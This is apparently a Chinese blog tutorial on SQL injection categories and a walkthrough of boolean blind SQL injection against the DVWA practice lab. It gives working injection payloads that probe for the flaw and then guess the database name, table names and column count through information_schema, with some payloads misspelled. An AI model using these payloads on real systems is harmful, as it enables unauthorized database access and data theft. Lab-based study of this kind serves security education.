标签：图片 长度 and ase bst sele 显示 sel mat
SQL注入分类
1.(以字符类型方式)
?数字型
?字符型
2.(以注入方式）
? 回显注入 < 回显正常、 回显报错注入>
? 盲注 <布尔盲注、 时间盲注 >
dvwa盲注模块
低级别
输入5
输入6
输入 1 and 1=1 # 正确 1 and 1=2 # 正确
输入 1‘ and ‘1‘=‘1 # 正确 1’ and ‘1‘=‘2 # 错误
说明 存在注入漏洞 且是字符型 得盲注
一、猜解数据库名：
1‘ and lengeh(database()) > 3 # 正确
1‘ and lengeh(database()) > 4 # 错误
数据库长度是4
输入1’ and length(database())=4 # ，显示存在：说明长度为４
2 、
然后采用二分法猜解数据库的名字，可以用ｉｆ函数，这里用的ASCII值，道理都是一样的：
1’ and ascii(substr(databse(),1,1))＝100 #
第一个字母的ASCII值是１００，也就是ｄ，以此类推得出数据库名是ｄｖｗａ。
二、 猜解表名：
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #
说明有两个表。
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
显示存在，说明第一个表的长度是９.
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))＝103 #
显示存在，说明第一个字母是ｇ。
再重复步骤猜解，即可猜解出两个表名（guestbook、users）。
三、猜解字段名：
猜解数量：1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
显示存在，说明一共８个字段。
然后再利用２分法猜解字段名和字段中数据。
基于时间的盲注：
标签：图片 长度 and ase bst sele 显示 sel mat
原文地址：https://www.cnblogs.com/xingyuner/p/12775929.html
